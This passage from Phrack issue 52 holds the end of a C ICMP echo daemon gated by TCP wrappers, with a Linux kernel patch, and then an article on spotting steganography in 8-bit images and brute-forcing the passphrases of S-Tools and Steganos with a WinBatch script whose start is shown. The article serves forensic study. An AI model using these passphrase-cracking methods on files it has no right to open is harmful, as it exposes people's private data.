int sock_fd, c;
|
||
struct icmp_packet i_pack;
|
||
struct passwd *pwd_p;
|
||
|
||
/*
|
||
* Make sure we have UID 0.
|
||
*/
|
||
if (geteuid() || getuid())
|
||
{
|
||
fprintf(stderr, "Inadequate privledges\n");
|
||
exit(1);
|
||
}
|
||
|
||
/*
|
||
* Open a raw ICMP socket and set IP_HDRINCL.
|
||
*/
|
||
if ((sock_fd = open_raw_sock(IPPROTO_ICMP)) == -1)
|
||
{
|
||
perror("socket allocation");
|
||
exit(1);
|
||
}
|
||
|
||
/*
|
||
* Now that we have the raw socket, we no longer need root privledges
|
||
* so we drop our UID to nobody.
|
||
*/
|
||
if (!(pwd_p = getpwnam(NOBODY)))
|
||
{
|
||
fprintf(stderr, "Can't get pwnam info on nobody");
|
||
exit(1);
|
||
}
|
||
else if (setuid(pwd_p->pw_uid) == -1)
|
||
{
|
||
perror("Can't drop privledges");
|
||
exit(1);
|
||
}
|
||
|
||
while((c = getopt(argc, argv, "d:s:")) != EOF)
|
||
{
|
||
switch (c)
|
||
{
|
||
case 'd':
|
||
d = atoi(optarg);
|
||
break;
|
||
|
||
case 's':
|
||
max_packet = atoi(optarg);
|
||
break;
|
||
|
||
default:
|
||
usage(argv[0]);
|
||
}
|
||
}
|
||
|
||
if (!d) daemon();
|
||
if (d) fprintf(stderr, "Max packetsize of %d bytes\n", max_packet);
|
||
|
||
#ifdef LOG
|
||
openlog("pingd", 0, 0);
|
||
syslog(LOG_DAEMON|LOG_INFO, "started: %d", getpid());
|
||
#endif /* LOG */
|
||
/*
|
||
* We're powered up. From here on out, everything should run swimmingly.
|
||
*/
|
||
for (;;)
|
||
{
|
||
bzero(&i_pack, sizeof(i_pack));
|
||
c = recv(sock_fd, (struct icmp_packet *)&i_pack, sizeof(i_pack), 0);
|
||
if (c == -1)
|
||
{
|
||
if (d) fprintf(stderr, "truncated read: %s", strerror(errno));
|
||
continue;
|
||
}
|
||
|
||
/*
|
||
* Make sure packet isn't too small or too big.
|
||
*/
|
||
if (c < HEADER_MATERIAL || c > max_packet)
|
||
{
|
||
#ifdef LOG
|
||
syslog(
|
||
LOG_DAEMON|LOG_INFO,
|
||
"bad packet size (%d bytes from %s)",
|
||
ntohs(i_pack.iph.ip_len) - sizeof(i_pack.iph),
|
||
host_lookup(i_pack.iph.ip_src.s_addr));
|
||
#endif /* LOG */
|
||
continue;
|
||
}
|
||
|
||
/*
|
||
* We only want ICMP_ECHO packets.
|
||
*/
|
||
if (i_pack.icmph.type != ICMP_ECHO) continue;
|
||
else if (d)
|
||
fprintf(stderr,
|
||
"%d byte ICMP_ECHO from %s\n",
|
||
ntohs(i_pack.iph.ip_len) - sizeof(i_pack.iph),
|
||
host_lookup(i_pack.iph.ip_src.s_addr));
|
||
|
||
/*
|
||
* Pass packet to the access control mechanism.
|
||
*/
|
||
if (!verify(&i_pack))
|
||
{
|
||
#ifdef LOG
|
||
syslog(
|
||
LOG_DAEMON|LOG_INFO,
|
||
"ICMP_ECHO denied by wrapper (%d bytes from %s)",
|
||
ntohs(i_pack.iph.ip_len) - sizeof(i_pack.iph),
|
||
host_lookup(i_pack.iph.ip_src.s_addr));
|
||
#endif /* LOG */
|
||
}
|
||
else
|
||
{
|
||
#ifdef LOG
|
||
syslog(
|
||
LOG_DAEMON|LOG_INFO,
|
||
"ICMP_ECHO allowed by wrapper (%d bytes from %s)",
|
||
ntohs(i_pack.iph.ip_len) - sizeof(i_pack.iph),
|
||
host_lookup(i_pack.iph.ip_src.s_addr));
|
||
#endif /* LOG */
|
||
icmp_reflect(&i_pack, sock_fd);
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
void
|
||
icmp_reflect(struct icmp_packet *p_ptr, int sock_fd)
|
||
{
|
||
int c;
|
||
u_long tmp;
|
||
struct sockaddr_in sin;
|
||
|
||
bzero((struct sockaddr_in *)&sin, sizeof(sin));
|
||
/*
|
||
* Formulate ICMP_ECHOREPLY response packet. All we do change the
|
||
* packet type and flip the IP addresses. This avoids a copy.
|
||
*/
|
||
tmp = p_ptr->iph.ip_dst.s_addr;
|
||
p_ptr->iph.ip_dst.s_addr = p_ptr->iph.ip_src.s_addr;
|
||
p_ptr->iph.ip_src.s_addr = tmp;
|
||
p_ptr->icmph.type = ICMP_ECHOREPLY;
|
||
p_ptr->icmph.checksum = 0;
|
||
p_ptr->icmph.checksum =
|
||
ip_check((u_short *)&p_ptr->icmph,
|
||
ntohs(p_ptr->iph.ip_len) - sizeof(struct ip));
|
||
sin.sin_family = AF_INET;
|
||
sin.sin_addr.s_addr = p_ptr->iph.ip_dst.s_addr;
|
||
|
||
c = sendto(sock_fd,
|
||
(struct icmp_packet *)p_ptr,
|
||
ntohs(p_ptr->iph.ip_len),
|
||
0,
|
||
(struct sockaddr *) &sin, sizeof(sin));
|
||
|
||
if (c != ntohs(p_ptr->iph.ip_len))
|
||
{
|
||
if (d) perror("truncated write");
|
||
return;
|
||
}
|
||
else if (d) fprintf(stderr, "ICMP_ECHOREPLY sent\n");
|
||
}
|
||
|
||
|
||
int
|
||
verify(struct icmp_packet *p_ptr)
|
||
{
|
||
if (!hosts_ctl("ping",
|
||
host_lookup(p_ptr->iph.ip_src.s_addr),
|
||
host_lookup(p_ptr->iph.ip_src.s_addr),
|
||
STRING_UNKNOWN))
|
||
return (0);
|
||
|
||
else return (1);
|
||
}
|
||
|
||
|
||
void
|
||
usage(char *argv0)
|
||
{
|
||
fprintf(stderr, "usage: %s [-d 1|0 ] [-s maxpacketsize] \n",argv0);
|
||
exit(0);
|
||
}
|
||
|
||
|
||
/* EOF */
|
||
<-->
|
||
<++> Pingd/patchfile
|
||
--- /usr/src/linux/net/ipv4/icmp.c.original Sat Jan 10 11:10:36 1998
|
||
+++ /usr/src/linux/net/ipv4/icmp.c Sat Jan 10 11:19:23 1998
|
||
@@ -42,7 +42,8 @@
|
||
* Elliot Poger : Added support for SO_BINDTODEVICE.
|
||
* Willy Konynenberg : Transparent proxy adapted to new
|
||
* socket hash code.
|
||
- *
|
||
+ * route : 1.10.98: ICMP_ECHO / ICMP_ECHOREQUEST
|
||
+ * support into userland.
|
||
*
|
||
* RFC1122 (Host Requirements -- Comm. Layer) Status:
|
||
* (boy, are there a lot of rules for ICMP)
|
||
@@ -882,28 +883,6 @@
|
||
kfree_skb(skb, FREE_READ);
|
||
}
|
||
|
||
-/*
|
||
- * Handle ICMP_ECHO ("ping") requests.
|
||
- *
|
||
- * RFC 1122: 3.2.2.6 MUST have an echo server that answers ICMP echo requests.
|
||
- * RFC 1122: 3.2.2.6 Data received in the ICMP_ECHO request MUST be included in the reply.
|
||
- * RFC 1812: 4.3.3.6 SHOULD have a config option for silently ignoring echo requests, MUST have default=NOT.
|
||
- * See also WRT handling of options once they are done and working.
|
||
- */
|
||
-
|
||
-static void icmp_echo(struct icmphdr *icmph, struct sk_buff *skb, struct device *dev, __u32 saddr, __u32 daddr, int len)
|
||
-{
|
||
-#ifndef CONFIG_IP_IGNORE_ECHO_REQUESTS
|
||
- struct icmp_bxm icmp_param;
|
||
- icmp_param.icmph=*icmph;
|
||
- icmp_param.icmph.type=ICMP_ECHOREPLY;
|
||
- icmp_param.data_ptr=(icmph+1);
|
||
- icmp_param.data_len=len;
|
||
- if (ip_options_echo(&icmp_param.replyopts, NULL, daddr, saddr, skb)==0)
|
||
- icmp_build_xmit(&icmp_param, daddr, saddr, skb->ip_hdr->tos);
|
||
-#endif
|
||
- kfree_skb(skb, FREE_READ);
|
||
-}
|
||
|
||
/*
|
||
* Handle ICMP Timestamp requests.
|
||
@@ -1144,8 +1123,8 @@
|
||
*/
|
||
|
||
static struct icmp_control icmp_pointers[19] = {
|
||
-/* ECHO REPLY (0) */
|
||
- { &icmp_statistics.IcmpOutEchoReps, &icmp_statistics.IcmpInEchoReps, icmp_discard, 0, NULL },
|
||
+/* ECHO REPLY (0) - Disabled, we now do ICMP_ECHOREQUEST in userland */
|
||
+ { &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
|
||
{ &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
|
||
{ &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
|
||
/* DEST UNREACH (3) */
|
||
@@ -1156,8 +1135,8 @@
|
||
{ &icmp_statistics.IcmpOutRedirects, &icmp_statistics.IcmpInRedirects, icmp_redirect, 1, &xrl_redirect },
|
||
{ &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
|
||
{ &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
|
||
-/* ECHO (8) */
|
||
- { &icmp_statistics.IcmpOutEchos, &icmp_statistics.IcmpInEchos, icmp_echo, 0, NULL },
|
||
+/* ECHO (8) - Disabled, we now do ICMP_ECHOREQUEST in userland */
|
||
+ { &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
|
||
{ &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
|
||
{ &dummy, &icmp_statistics.IcmpInErrors, icmp_discard, 1, NULL },
|
||
/* TIME EXCEEDED (11) */
|
||
<-->
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 08 of 20
|
||
|
||
|
||
-------------------------[ Steganography Thumbprinting
|
||
|
||
|
||
--------[ The HackLab (http://www.hacklab.com)
|
||
|
||
|
||
|
||
Steg`a*nog"ra*phy (?), n. [Gr. covered (fr. to cover closely) +
|
||
-graphy.] The art of writing in cipher, or in characters which are not
|
||
intelligible except to persons who have the key; cryptography.
|
||
|
||
|
||
i. Introduction
|
||
|
||
While this may be a general description of cryptography, steganography has
|
||
come to describe not only the act of encrypting data, but also of hiding its
|
||
very existence. Steganography (or "stego") uses techniques to store a
|
||
"message" file within a "container" file by altering the container file in
|
||
such a way as to make the original file _appear_ unchanged. The resulting
|
||
file can be referred to as the stego file and contains the message file
|
||
enclosed in a close approximation of the original container file. Several
|
||
tools exist (mostly for DOS/Windows/NT) which automate these functions using
|
||
DES, DES3 or IDEA as encryption methods and BMP, GIF, JPG, WAV, VOC and even
|
||
ASCII files as containers. Using these tools, data can be hidden within
|
||
images, sounds, and even other data files. However, these tools do leave
|
||
perceptible traces on their container files and do not offer nearly the
|
||
level of obfuscation the user assumes.
|
||
|
||
This article will provide the reader with a fundamental understanding of
|
||
basic stego techniques and will highlight some of the "thumbprints" left by
|
||
modern steganographic toolsets, specifically on graphic images. Not intended
|
||
to challenge the cryptographic strength or perceptible mathematical variances
|
||
of current steganographic techniques, this article will give the reader a
|
||
basic understanding of stego and suggest low-budget methods for detecting and
|
||
cracking basic steganographic techniques. Also presented is a program which
|
||
can be used to brute-force two of the most popular stego toolsets.
|
||
|
||
|
||
I. Basic Steganography
|
||
|
||
|
||
Simply put, steganography involves the hiding of messages. While there are
|
||
many techniques employed by the various tools, the least common denominator
|
||
amongst most toolsets is the modification of some of the Least Significant
|
||
Bits (or LSBs) of the container file's individual bytes. In the simplest
|
||
example, consider the following binary representations of the numbers 20
|
||
through 27:
|
||
|
||
10100 10101 10110 10111 11000 11001 11010 11011
|
||
|
||
By modifying the LSBs of these binary digits, we can hide the binary
|
||
representation of the number 200 (11001000) across the above bytestream:
|
||
|
||
10101 10101 10110 10110 11001 11000 11010 11010
|
||
|
||
By reconstructing the LSBs of the above bytestream, we recover the number
|
||
200 (11001000). In the above example, the original bytestream of the numbers
|
||
20-27 is the container, while the number 200 is the message file. This is a
|
||
very poor basic example since the resulting stego file is not an accurate
|
||
representation of the original file. After modification to include the
|
||
message file, the numbers 20-27 now read:
|
||
|
||
21 21 22 22 25 24 26 26
|
||
|
||
However, in most stego applications, the container file does not contain
|
||
bytestreams which are rendered useless by modifying LSB information.
|
||
Instead, container files typically contain various levels of "noise" at the
|
||
level of the LSB's which when viewed apart from the rest of the byte can
|
||
appear random. A sound (.WAV) file, for example contains mostly inaudible
|
||
background noise at the LSB level. An 8-bit graphic file will contain minor
|
||
color differences at the LSB level, while a 24-bit image will contain color
|
||
changes which are nearly imperceptible to the human eye. A very common
|
||
container format is a 256 color, 8 bit image such as a GIF or BMP file.
|
||
|
||
|
||
II. Stego Techniques
|
||
|
||
|
||
In an 8-bit image such as a GIF or BMP each pixel is described as a number
|
||
from 0 - 255 which refers to an actual color in the "color lookup table" or
|
||
palette. A common misconception is that all images simply contain strings of
|
||
bytes that describe individual colors, and that the graphic file simply
|
||
lists these colors in left-to-right, and top-to-bottom fashion. This is
|
||
only partially true for 8-bit images. The palette lists every color that is
|
||
used in the image (and extra colors, if less than 256 total colors are actually
|
||
used in the image), and the image data itself is stored as a series of digits
|
||
from 0 - 255 which reference an entry in the palette. In this way, the image
|
||
can be reconstructed by performing palette lookups to determine the color to
|
||
insert at that pixel location.
|
||
|
||
In order to hide data within an 8-bit GIF or BMP container, most existing
|
||
tools use one of two techniques which I will term LSB palette reference
|
||
modification and RGB element LSB modification.
|
||
|
||
LSB palette reference modification involves changing the LSB(s) of a
|
||
_palette_reference_ (0 - 255) in order to hide the data contained in the
|
||
message. Remember that a palette reference simply contains a number from 0 -
|
||
255 which references a color, or entry, in the palette. In order to hide
|
||
data, a program utilizing palette reference modification may decide which
|
||
color to point to based on the color's LSBs. This type of program will pay
|
||
no attention to how similar the colors are, only whether or not the LSBs
|
||
serve its purpose of data hiding. If the adjacent colors in the palette have
|
||
dissimilar LSBs, they are well suited for data hiding and become good
|
||
candidates for storing hidden text in the final stegoed container. If a 0
|
||
(zero) is meant to be hidden, the stego program inserts the palette index
|
||
reference of the color with the LSB of 0 (zero), and vice versa for hiding a
|
||
1 (one).
|
||
|
||
RGB element LSB modification involves modifying the pixel's _actual_color_
|
||
by changing the LSB of the Red, Green or Blue elements of the color in the
|
||
color table. For example, the color "white" is represented by the RGB values
|
||
255,255,255 which in binary equates to:
|
||
|
||
11111111 11111111 11111111
|
||
|
||
listed in RGB order. By altering the LSB of each color in the RGB element,
|
||
we can hide data by making almost identical copies of colors such that only
|
||
the LSBs are different. Since the color is only changed by one or two LSBs,
|
||
the resulting colors are very close, perhaps undetectable to the human eye.
|
||
The result of this change to the colors in the table enables nearly identical
|
||
colors to be referenced by multiple table entries. This becomes extremely
|
||
obvious when the palette is viewed and sorted by luminance (relative
|
||
brightness)in a product such as Paint Shop Pro. These similar colors will be
|
||
grouped right next to each other in a luminance-sorted palette. Using this
|
||
technique, a binary 1 in the message file can be represented in the stego file
|
||
by replacing a color in the container file with an altered version of that
|
||
color whose RG or B element ends with a binary 1. Likewise, a binary 0 in the
|
||
message file can be represented in the stego file by replacing the original
|
||
color in the container file with an altered version of that color whose RG or
|
||
B element ends with a binary 0.
|
||
|
||
|
||
III. Steganographic Thumbprints
|
||
|
||
|
||
Several tools are available that apply these techniques to files on
|
||
several different platforms. I will focus on two specific toolsets; Steganos
|
||
and S-Tools v4.0. Steganos is perhaps the most versatile and powerful of the
|
||
toolsets, while S-Tools seems to be the easiest and most widely used (not to
|
||
mention the fact that I like S-Tools; it's been around for a long time and
|
||
is very well done). Other available toolsets include similar functionality
|
||
and hiding techniques. In order to discover what the tools actually do when
|
||
they hide data, it's best to use a simple BMP container file. The RGB BMP
|
||
file utilizes a palette scheme identical to that of a GIF for the purposes
|
||
of our tests, and all the reviewed toolsets can use BMP files as containers.
|
||
|
||
For example, consider a container image which is 50 pixels by 50 pixels and
|
||
contains only black-colored (0,0,0) pixels. This image references palette
|
||
entry 0 (zero) as its only color. I will use a freeware painting program Paint
|
||
Shop Pro V4.10 (PSP) to create and analyze the base images. When creating
|
||
this image, PSP used a default palette with 216 unique palette entries and 40
|
||
"filler" entries at the end of the palette all of which contain the value
|
||
(0,0,0) or pure black.
|
||
|
||
Our message file is simply a text file which contains the phrase "This is a
|
||
test."
|
||
|
||
|
||
A. S-Tools
|
||
|
||
|
||
When the message file is hidden using S-Tools, the resulting 8-bit image
|
||
appears identical to the human eye when compared to the original. However,
|
||
there are perceptible oddities about the file which are revealed under closer
|
||
scrutiny.
|
||
|
||
Since S-Tools uses RGB element LSB modification as its hiding technique,
|
||
the palette has distinct and very obvious characteristics. Many of the
|
||
palette's colors are offset by a single bit in the R,G or B element. This is
|
||
very obvious when the palette is sorted by luminance (brightness) and viewed
|
||
with PSP. The first sixteen (and only original) colors in this palette are:
|
||
|
||
(51,1,1) (51,1,0) (50,1,0) (51,0,1) (51,0,0) (50,0,1) (50,0,0)
|
||
|
||
(1,1,0) (1,1,0) (0,1,1) (0,1,0) (1,0,1) (1,0,1) (1,0,0) (0,0,1) (0,0,0)
|
||
|
||
Notice that the offsets of the RGB elements are only 1 bit. This is an
|
||
imperceptible color change, and is a very wasteful use of the palette.
|
||
Remember, there are only 256 colors to work with. Most 8-bit image creation
|
||
programs are very careful when deciding which colors to include in the palette,
|
||
and almost all use standard palettes which contain all the most commonly used
|
||
colors. To see a palette with this many _nearly_ identical colors is odd.
|
||
Also, the palette has been adjusted to contain less colors. The standard
|
||
colors selected by PSP have been replaced by some of the colors listed above.
|
||
As is typical with this type of hiding, the slack space at the end of the
|
||
palette has been reduced to make room for the new copies of existing colors.
|
||
This type of hiding will always make itself obvious by using single-bit
|
||
offsets in one or more of the LSBs. Since this type of thumbprint is so
|
||
easily identifiable, we will concentrate our efforts on the harder-to-detect
|
||
palette reference method used by Steganos.
|
||
|
||
|
||
B. Steganos
|
||
|
||
|
||
Steganos kindly reminds you that 8-bit images don't make terribly secure
|
||
containers. It's a good thing, too, because when the message file is hidden
|
||
using Steganos the resulting 8-bit image has a major anomaly- the stego
|
||
image is completely different than the original! As opposed to an all-black
|
||
image, the image now resembles a black-and-blue checkerboard. However, this
|
||
difference is only obvious if you have access to the original image. Since
|
||
an interceptor will most likely not have a copy of the original image, we
|
||
will examine other methods of detection. When the palette of the image is
|
||
checked for single-bit offset colors (as in the stego image created with
|
||
S-Tools), none can be found. Also, there is no more or less slack space at
|
||
the end of the palette than existed in the original palette. Steganos does
|
||
not alter the palette in any way when hiding data. It uses the LSB palette
|
||
reference technique described above. However, there are very distinctive
|
||
ways of determining if this technique has been used to hide data, specifically
|
||
by looking at _how_ the palette's colors are used. In this simple case, a
|
||
histogram will show exactly the type of modification we are looking for.
|
||
In the words of the PSP Help documentation,
|
||
|
||
"A histogram is a graph of image color values, typically RGB values and/or
|
||
luminance. In a histogram, the spectrum for a color component appears on the
|
||
horizontal axis, and the vertical axis indicates the portion of the image's
|
||
color that matches each point on the component's spectrum."
|
||
|
||
In a nutshell, this simply means a graph is generated showing how the
|
||
color(s) are used in an image, and how similar (in shade) they are. When
|
||
viewing the "blue" histogram for the Steganos-hidden file, we see something
|
||
like this:
|
||
|
||
100= X X
|
||
- X X
|
||
90 = X X
|
||
- X X
|
||
80 = X X
|
||
- X X
|
||
70 = X X
|
||
- X X
|
||
60 = X X
|
||
- X X
|
||
50 = X X
|
||
- X X
|
||
40 = X X
|
||
- X X
|
||
30 = X X
|
||
- X X
|
||
20 = X X
|
||
- X X
|
||
10 = X X
|
||
- X X
|
||
00 = X X
|
||
. ! . ! . ! . ! . ! . ! . ! . ! . ! . ! . . .
|
||
0 1 2 3 4 5 6 7 8 9 2
|
||
0 0 0 0 0 0 0 0 0 0 5
|
||
5
|
||
|
||
The X-axis shows the spectrum for the color blue (from 0 to 255). The
|
||
Y-axis shows the number of pixels in the image that match that color. When
|
||
displaying a histogram, the 100 on the Y axis is not percentage, but a MAX
|
||
value (in this case 1272) which indicates the greatest number of pixels used
|
||
for _any_one_color_. Since there are really only two colors _used_ in this
|
||
stego image, there are only two vertical bars. These bars indicate that in
|
||
the Blue color family there are really only two colors used; one with a blue
|
||
value of zero, and another with a blue value of approximately 50 (51 to be
|
||
exact). Upon examining the color table for this image sorted in
|
||
_palette_order_, it is evident that these two referenced colors are only
|
||
similar since they are placed right next to one another in the palette. The
|
||
two colors are (0,0,0) and (0,0,51) or black and very, very dark blue. The
|
||
image mostly has black hues, and Steganos probably picked the very dark blue
|
||
color (00110011) as the 1 for some hidden data, and black (00000000) as the
|
||
0 for some hidden data since these colors are _right_ next to each other in
|
||
a palette-index-order color table listing. Although they reside next to each
|
||
other in the palette, the colors are not very similar which makes the final
|
||
stego file appear discolored. Steganos does not modify any of the colors,
|
||
but it modifies how the original palette is used by making nearly equal
|
||
references to a color and its neighbor (when sorted by palette index).
|
||
Bottom line: this image uses neighboring palette colors nearly an identical
|
||
number of times. 1272 pixels were used for black and 1228 pixels were used
|
||
for the dark, dark blue. This would not be unusual if not for the fact that
|
||
the colors are palette index neighbors. If the designer of the image were
|
||
using some sort of shading effect, there would be many more than just two
|
||
shades involved in this 256 color image, and the shading offsets would be
|
||
greater. These two colors don't even appear as shades of one another when
|
||
placed side-by-side.
|
||
|
||
A skilled interceptor will know immediately that something is not quite
|
||
right with these images. They both display typical signs of data hiding.
|
||
|
||
|
||
IV. Real-World example
|
||
|
||
|
||
Intercepting a single-color image and determining that it is stegoed is a
|
||
trivial task. Increasing the number of used colors within the boundaries of
|
||
the 256-color palette could (so the reader may think) obfuscate the hidden
|
||
message file. However, by applying a few simple methodologies, a pattern
|
||
emerges which can increase the odds of detecting a stegoed image. For
|
||
example, if a two-color image is created using only the colors black (0,0,0)
|
||
and white (255,255,255), and data is hidden in the file by using Steganos,
|
||
the results would show that Steganos not only used black and white, but two
|
||
more colors from the palette are used with values of (0,0,51) and
|
||
(255,255,51) respectively. These newly-used colors adjoin the original two
|
||
colors in the palette listing, have differing LSBs, and are referenced
|
||
nearly as much in the new image as the original colors are. A similar
|
||
situation evolves when a 6-color image is created. After Steganos hides the
|
||
data, the original 6 colors and their palette neighbors will be used in
|
||
the new file. The 6 new colors become alternate representations of the
|
||
original 6 colors in terms of their LSBs. This methodology holds true all
|
||
the way up to images containing 256 different colors. By understanding these
|
||
patterns, all 8-bit Steganos images can be detected without access to the
|
||
original image.
|
||
|
||
When attempting to detect the use of steganography in 16 or 24-bit images,
|
||
a great deal of pattern analysis must be used. 24-bit stego detection is not
|
||
for the faint of heart, but it can be done. Standard "randomization" solutions
|
||
fall quite short of solving this problem since LSB data in image creation
|
||
programs is hardly random. It follows a pronounced pattern when viewed as a
|
||
part of a whole: an 8-bit number. Most standard graphics effects do not use
|
||
random data, they use patterns to create and maintain a certain graphic
|
||
illusion. Inserting "random" data, even at the LSB level can become fuel for
|
||
the analyst's fire. In many 24-bit stego programs, bits in the secret text
|
||
are generally inserted with average spacing between them, then random "noise"
|
||
is added to make the secret bits seem less obvious. The random "noise" would
|
||
(should!) have a random interval between differing bits. The contrast of an
|
||
average spacing against random spacing may be enough to not only alert an
|
||
analyst, but to point out where secret bits start and random bits begin. The
|
||
bottom line is that 24-bit detection is doable, just not practical for an
|
||
amateur- yet!
|
||
|
||
|
||
V. The Future
|
||
|
||
|
||
Steganography is in it's infancy, but several new technologies are emerging
|
||
including selection and construction methods of data hiding and continuing
|
||
research in the area of random distribution.
|
||
|
||
Selection involves the generation of a large number of copies of the same
|
||
container file that differ slightly. In the case of an image file, you may
|
||
make minor adjustments in hue, saturation and RGB levels to the end that your
|
||
secret message will eventually _appear_ in the LSBs of the data! Although
|
||
difficult to generate, this type of data hiding is nearly impossible to detect
|
||
since the image's characteristics are not altered at all.
|
||
|
||
Construction simply involves modeling the characteristics of the original
|
||
container when creating your message. In simplest terms, mold your message
|
||
around the existing container instead of molding the container to your message.
|
||
If, for example the original image were left unchanged, and a key was
|
||
developed to create the message _from_ the image, detection would be impossible
|
||
without the key.
|
||
|
||
Several advances are being made in the area of random distribution,
|
||
specifically by Tuomas Aura at the Helsinki University of Technology. His
|
||
paper "Practical Invisibility in Digital Communication" presents a technique
|
||
called "pseudorandom permutation", which brings steganography up to the
|
||
technical level of cryptography and properly addresses the issue of
|
||
randomness from a data hiding perspective. His paper is excellent reading
|
||
and can be found at http://deadlock.hut.fi/ste/ste_html.html
|
||
|
||
Interesting research (and proof-of-concepts) are being done to utilize
|
||
stego techniques in reserved fields in TCP, UDP and ICMP packets. This
|
||
research proves that steganography has merit and application beyond sound and
|
||
image files. Unfortunately, using stego where there was nothing before (ie
|
||
within typically blank reserved fields) can raise a flag in and of itself. Use
|
||
encryption and compression to further protect data. It really doesn't matter
|
||
if the secret data is discovered if the underlying crypto is secure.
|
||
|
||
|
||
VI. Conclusion
|
||
|
||
|
||
Detecting stego in an 8-bit image is fairly easy. Actually gaining access
|
||
to the secret text becomes a bit harder yet a simple overlooked method involves
|
||
bruteforcing the creating application (see S_BRUTE.WBT program below). On the
|
||
other hand, 24-bit image analysis requires quite a bit of work. If you choose
|
||
to employ data hiding techniques, use 24-bit images and compress and encrypt
|
||
your message file, bearing in mind that 24-bit images can raise flags simply
|
||
due to their size.
|
||
|
||
When attempting to identify stego files in 8-bit images, keep in mind the
|
||
following pointers:
|
||
|
||
* Search for the obvious thumbprint of an RGB element.
|
||
* In the stego file: single-bit offsets between colors in a palette sorted by
|
||
luminance (this SCREAMS S-Tools!).
|
||
* If no single-bit offsets exist between the colors in the palette, search
|
||
for Palette Reference thumbprints which include the following:
|
||
* Use of palette index neighbors a near-equal number of times either in the
|
||
entire image (use a histogram) or in an area which should be primarily
|
||
single-color only but contains a checkerboard effect (use zoom 11:1 to see
|
||
individual pixels, and the eyedropper tool to quickly view the RGB
|
||
elements in PSP)
|
||
* Poor image quality (noise and snow are common side-effects).
|
||
* For more detailed analysis the reader might consider using an MS-DOS
|
||
program msgifscn.zip, available from Simtel mirror sites worldwide, to
|
||
dump the entire contents of an 8-bit GIF image's palette to a file, which
|
||
can be dumped into MS Excel for analysis (the analysis add-in in for Excel
|
||
comes in REAL handy for binary conversions and data sorts.)
|
||
* If you have a clue that the file you're looking at may contain stegoed
|
||
data, it never hurts to brute force the application that created it! (see
|
||
the S_BRUTE program listing at the end of this article) While this may be
|
||
one of the slower methods of breaking stego, it is often easier to
|
||
derive possible keyphrases from other sources than attacking the stego
|
||
algorithm or the crypto.
|
||
|
||
|
||
VII. The program
|
||
|
||
The author of S-Tools sells the source code for his program, and Steganos
|
||
makes available an SDK for hiding/decoding files using it's algorithms, but
|
||
an option exists for programs that do not make their source available:
|
||
bruteforce of the application itself. Although using the API and SDK's
|
||
available would be significantly faster, there are times when this option
|
||
just may not exist.
|
||
|
||
To that end, included below are two files, S_BRUTE.WBT and S_BRUTE.INI.
|
||
This program was written in WinBatch, which is a language that acts very much
|
||
like the UNIX language TCL/TK (or Expect), but operates in a Windows 95/NT
|
||
context. Developed to control Windows applications, WinBatch provides a
|
||
perfect vehicle for brute-forcing an application's password function (see
|
||
http://www.windowware.com for the free compiler to run S_BRUTE). S_BRUTE is
|
||
an application that will bruteforce S-Tools v4 and Steganos using a
|
||
dictionary file in an attempt to determine the passphrase of a stegoed image
|
||
(which will subsequently reveal the hidden text). The program selects which
|
||
tool to use based on which executable you select, and the S-Tools portion of
|
||
the program will not only bruteforce the passphrase, but will attempt all
|
||
four algorithms available to S- Tools. Unfortunately S-Tools uses certain
|
||
mouse-only operations, so you will effectively lose your mouse while the
|
||
S-Tools portion runs. The dictionary needed by this program is simply a list
|
||
of words or passphrases separated by newlines. Keep in mind that Steganos
|
||
does not allow passwords shorter than five characters, so strip those out to
|
||
save time. If you need to use a " (double-quote) in the word/passphrase,
|
||
simply use "" (two double quotes) in the dictionary. WinBatch likes this. A
|
||
log file is created as c:\output.txt which simply lists all the attempted
|
||
words/passphrases. The output file can be reused as a dictionary since no
|
||
extraneous information is written out. Two options exist for inputting the
|
||
names of the Stego tool executable, the dictionary file and the stego image.
|
||
The S_BRUTE.INI file format (see below) allows the variables exepath, dict
|
||
and stegofile which allow the input of these full path names into the
|
||
program. In addition, the program can prompt for the filenames manually
|
||
using standard Windows '95 file boxes. In this case, pay attention to the
|
||
box titles as they come up. These titles describe what file the program is
|
||
looking for. A variable is also available in the INI file called
|
||
STEGANOSDELAY. This value (listed in seconds) determines how long to wait
|
||
for a passphrase error message from Steganos. The default is 0, but if you
|
||
get a lot of false positives (your machine is SLOW!) set this value to a few
|
||
seconds. Due to the speed of the bruteforce attack, this program is not
|
||
always accurate as to _which_word_ actually worked if it finds a match. In
|
||
this case, S_BRUTE will tell you which word it _thinks_ worked, but you may
|
||
have to try the word S_BRUTE gave you plus one or two of the previous words
|
||
in c:\output.txt (plus a few different algorithms if you're using S-Tools).
|
||
Either way, you are only looking at about 12 combinations (not bad!).
|
||
|
||
Note that S-Tools and/or Steganos must be properly installed prior to using
|
||
this program. S_BRUTE was not designed to brute force the entire keyspace, but
|
||
to give you a faster method of determining the passphrase if you have any idea
|
||
what it might be. If the stego image is found on a web page, create a
|
||
dictionary from words and phrases found on that site, and let S_BRUTE do the
|
||
work for you.
|
||
|
||
<++> sbrute/S_BRUTE.WBT
|
||
;; Steganography Brute v1.0 written by a researcher at hacklab.com
|
||
;; For new versions and support programs see http://www.hacklab.com
|
||
;; This little toy brute forces two very common Steganography utilities,
|
||
;; specifically Steganos (http://www.steganography.com) and S-Tools written
|
||
;; by Andrew Brown (a.brown@nexor.co.uk)
|
||
;; This program can be run using a free program called WinBatch
|
||
;; from http://www.windowware.com
|
||
;;
|
||
;;
|
||
;;Notes:
|
||
;;
|
||
;; 1) The program depends on the executable name being either "S-TOOLS.EXE" or
|
||
;; "STEGANOS.EXE". This exe name decides many things, including the
|
||
;; semantics of the brute force attack and which types of container files
|
||
;; to accept. (Remember that the tools accept different types of container
|
||
;; files.)
|
||
;; 2) The dictionary file is simply a text file with words or phrases separated
|
||
;; by CR(LF). If a " (double quote) must be used in the word or phrase,
|
||
;; use "" (two double quotes) instead. This is Winbatch's way of representing
|
||
;; the double quote in a string.
|
||
;; 3) Internally, this program converts all Windows LFN-formatted dir/filenames to
|
||
